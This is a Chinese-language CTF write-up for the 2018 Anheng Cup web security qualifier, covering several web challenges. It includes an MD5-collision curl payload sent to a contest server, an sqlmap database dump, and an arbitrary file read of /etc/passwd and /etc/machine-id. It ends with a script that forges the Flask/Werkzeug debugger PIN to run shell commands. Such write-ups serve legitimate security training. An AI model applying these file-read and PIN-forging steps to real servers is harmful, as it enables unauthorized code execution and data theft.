[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup

2018“安恒杯”Web安全测试大赛(秋季预选赛)

看到一个能拿奖金的比赛忍不住花了3个小时打了一下


[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第1张图片
-w1159

最后的排名

输入试试

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第2张图片
-w888

F12找答案


[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第3张图片
-w424

game

简单的MD5

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第4张图片
-w1279

一键payload用第二个打第一个
sudo curl -v http://114.55.36.69:8004/ -H "Cookie: PHPSESSID=qph4pa3rcv5nmgolruu5usrhfk" --data "data1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&data2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

传个flag试试

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第5张图片
-w909

这个很简单


[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第6张图片
-w849

MD5

我先做这个的=。=


[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第7张图片
-w1279

新闻搜索

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第8张图片
image

抓包保存下来
sqlmap -r 1.txt -D news --dump
这道题sqlmap就能跑出来

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第9张图片
-w667

新写的小站

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第10张图片
-w478

注册登录进去之后
在picture地方有一个任意文件读取


[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第11张图片
-w575

传入cookie的地方


[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第12张图片
image

就可以读到文件了,将得到的base64解码一下
-w1083

测试

这道题是先知上有文章
https://xz.aliyun.com/t/2553
首先找到任意文件读取的地方可以发现图片的地方有问题

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第13张图片
-w874

[2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup_第14张图片
-w339

就可以任意文件读取了
分别读 /etc/machine-id/etc/passwd
再写一个app的路径app.py一直不行
但是pyc就可以不知道为啥=。=

/etc/machine-id
3e608929fbd39b959f388bf468c9f0b1
02:42:c0:a8:2a:21

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:999:999::/home/mysql:
ctf:x:1000:1000::/home/ctf:/bin/bash

/usr/local/lib/python2.7/dist-packages/flask/app.pyc


import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485723343393',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '3e608929fbd39b959f388bf468c9f0b1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

os.popen('cat fff111aaggggg___hhh').read()
'flag{d93743011d3158db70150a4301018b2c}\n'

你可能感兴趣的:([2018“安恒杯”Web安全测试大赛] 秋季预选赛writeup)